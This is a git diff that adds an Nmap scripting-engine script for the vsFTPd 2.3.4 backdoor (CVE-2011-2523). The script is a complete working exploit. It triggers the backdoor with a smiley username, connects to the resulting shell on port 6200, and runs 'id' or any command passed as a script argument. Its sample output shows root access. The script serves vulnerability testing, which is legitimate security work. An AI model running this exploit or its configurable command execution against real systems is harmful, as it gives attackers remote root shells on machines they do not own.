diff options
Diffstat (limited to 'scripts/ftp-vsftpd-backdoor.nse')
-rw-r--r-- | scripts/ftp-vsftpd-backdoor.nse | 193 |
1 files changed, 193 insertions, 0 deletions
diff --git a/scripts/ftp-vsftpd-backdoor.nse b/scripts/ftp-vsftpd-backdoor.nse new file mode 100644 index 0000000..6b79df8 --- /dev/null +++ b/scripts/ftp-vsftpd-backdoor.nse @@ -0,0 +1,193 @@ +local ftp = require "ftp" +local nmap = require "nmap" +local shortport = require "shortport" +local stdnse = require "stdnse" +local string = require "string" +local table = require "table" +local vulns = require "vulns" + +description = [[ +Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04 +(CVE-2011-2523). This script attempts to exploit the backdoor using the +innocuous <code>id</code> command by default, but that can be changed with +the <code>exploit.cmd</code> or <code>ftp-vsftpd-backdoor.cmd</code> script +arguments. + +References: + +* http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html +* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb +* http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2011-2523 +]] + +--- +-- @usage +-- nmap --script ftp-vsftpd-backdoor -p 21 <host> +-- +-- @args ftp-vsftpd-backdoor.cmd Command to execute in shell +-- (default is <code>id</code>). +-- +-- @output +-- PORT STATE SERVICE +-- 21/tcp open ftp +-- | ftp-vsftpd-backdoor: +-- | VULNERABLE: +-- | vsFTPd version 2.3.4 backdoor +-- | State: VULNERABLE (Exploitable) +-- | IDs: CVE:CVE-2011-2523 BID:48539 +-- | Description: +-- | vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04. +-- | Disclosure date: 2011-07-03 +-- | Exploit results: +-- | The backdoor was already triggered +-- | Shell command: id +-- | Results: uid=0(root) gid=0(root) groups=0(root) +-- | References: +-- | https://www.securityfocus.com/bid/48539 +-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523 +-- | http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html +-- |_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb +-- + +author = "Daniel Miller" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"exploit", "intrusive", "malware", "vuln"} + + +local CMD_FTP = "USER X:)\r\nPASS X\r\n" +local CMD_SHELL_ID = "id" + +portrule = function (host, port) + -- Check if version detection knows what FTP server this is. + if port.version.product ~= nil and port.version.product ~= "vsftpd" then + return false + end + + -- Check if version detection knows what version of FTP server this is. + if port.version.version ~= nil and port.version.version ~= "2.3.4" then + return false + end + + return shortport.port_or_service(21, "ftp")(host, port) +end + +local function finish_ftp(socket, status, message) + if socket then + socket:close() + end + return status, message +end + +-- Returns true, results if vsFTPd was backdoored +local function check_backdoor(host, shell_cmd, vuln) + local socket = nmap.new_socket("tcp") + socket:set_timeout(10000) + + local status, ret = socket:connect(host, 6200, "tcp") + if not status then + return finish_ftp(socket, false, "can't connect to tcp port 6200") + end + + status, ret = socket:send(CMD_SHELL_ID.."\n") + if not status then + return finish_ftp(socket, false, "failed to send shell command") + end + + status, ret = socket:receive_lines(1) + if not status then + return finish_ftp(socket, false, + string.format("failed to read shell command results: %s", + ret)) + end + + if not ret:match("uid=") then + return finish_ftp(socket, false, "service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE") + end + + vuln.state = vulns.STATE.EXPLOIT + table.insert(vuln.exploit_results, + string.format("Shell command: %s", CMD_SHELL_ID)) + local result = string.gsub(ret, "^%s*(.-)\n*$", "%1") + table.insert(vuln.exploit_results, + string.format("Results: %s", result)) + + if shell_cmd ~= CMD_SHELL_ID then + status, ret = socket:send(shell_cmd.."\n") + if status then + status, ret = socket:receive_lines(1) + if status then + table.insert(vuln.exploit_results, + string.format("Shell command: %s", shell_cmd)) + result = string.gsub(ret, "^%s*(.-)\n*$", "%1") + table.insert(vuln.exploit_results, + string.format("Results: %s", result)) + end + end + end + + socket:send("exit\n"); + + return finish_ftp(socket, true) +end + +action = function(host, port) + -- Get script arguments. + local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or + stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID + + local vsftp_vuln = { + title = "vsFTPd version 2.3.4 backdoor", + IDS = {CVE = 'CVE-2011-2523', BID = '48539'}, + description = [[ +vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]], + references = { + 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html', + 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb', + }, + dates = { + disclosure = {year = '2011', month = '07', day = '03'}, + }, + exploit_results = {}, + } + local report = vulns.Report:new(SCRIPT_NAME, host, port) + + -- check to see if the vsFTPd backdoor was already triggered + local status, ret = check_backdoor(host, cmd, vsftp_vuln) + if status then + return report:make_output(vsftp_vuln) + end + + -- Create socket. + local sock, code, message, buffer = ftp.connect(host, port, + {request_timeout = 8000}) + if not sock then + stdnse.debug1("can't connect: %s", code) + return nil + end + + -- Read banner. + if not code then + stdnse.debug1("can't read banner: %s", message) + sock:close() + return nil + end + + status, ret = sock:send(CMD_FTP .. "\r\n") + if not status then + stdnse.debug1("failed to send privilege escalation command: %s", ret) + return nil + end + + stdnse.sleep(1) + -- check if vsFTPd was backdoored + status, ret = check_backdoor(host, cmd, vsftp_vuln) + if not status then + stdnse.debug1("%s", ret) + vsftp_vuln.state = vulns.STATE.NOT_VULN + return report:make_output(vsftp_vuln) + end + + -- delay ftp socket cleaning + sock:close() + return report:make_output(vsftp_vuln) +end |